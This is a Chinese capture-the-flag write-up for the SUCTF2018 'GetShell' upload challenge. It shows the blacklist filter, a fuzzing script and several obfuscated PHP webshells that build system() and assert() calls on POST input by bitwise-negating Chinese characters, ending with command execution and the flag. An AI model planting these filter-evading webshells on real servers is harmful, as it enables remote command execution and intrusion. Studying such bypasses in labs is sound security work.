SUCTF2018-GetShell

  1. SUCTF2018-GetShel
    1. 汉字字符取反构造webshell
      1. payload 1(system)
      2. payload 2(assert)

SUCTF2018-GetShel

这题看题目就知道要我们上传webshell,首先启动靶机访问,显示can you get shell?。

然后查看网页源代码,发现一个跳转链接

点击跳转到了一个upload页面

给了一部分源码

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

代码审计

大概就是截取文件中前5个字符以后的内容,然后在将黑名单中的字符与截取后的内容的进行匹配。所以我们需要通过fuzz测试来测试出过滤了哪些字符,然后再构造shell,注意前面要5个占位符,因为源码会将前五个字符截掉,不然我们的测试就没有效果。

fuzz字典生成脚本

1
2
for i in range(32,127):
print(chr(i))

汉字字符取反构造webshell

payload 1(system)

发现主要过滤了数字、字母等字符。但是发现~可以利用。我们可以利用汉字字符取反来得到字母,php标签被过滤了但是没有关系,前5个字符不会参与检查。我们这里使用短标签,<?php应该也可以刚好5个字符

使用的是位运算里的“取反”。

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和’{2}的结果是”\x8c”,其取反即为字母s

1
2
3
4
5
6
7
8
9
10
11
system($_POST[_]);
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1

$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST

$___($$____[_]);//system($_POST[_]);

构造payload:

1
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);

或者另一种

1
2
3
4
5
6
7
8
9
10
11
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

payload:

1
2
3
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

<?=system($_POST[a]);

修改文件内容为以上代码

查看传上去的文件,发现可解析,对a参数传参env查看环境变量,找到flag

1
flag{0099f301-7172-418d-819e-5fd2dd494513}

payload 2(assert)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
assert($_POST[_]);
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);

payload:

1
<?php$__=[];$_=($__==$__);$__=~(融);$___=$__[$_];$__=~(匆);$___.=$__[$_].$__[$_];$__=~(随);$___.=$__[$_];$__=~(千);$___.=$__[$_];$__=~(苦);$___.=$__[$_];$____=~(~(_));$__=~(诗);$____.=$__[$_];$__=~(尘);$____.=$__[$_];$__=~(欣);$____.=$__[$_];$__=~(站);$____.=$__[$_];$_=$$____;$___($_[_]);

然后就能任意命令执行了

1
POST:system('env')

得到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github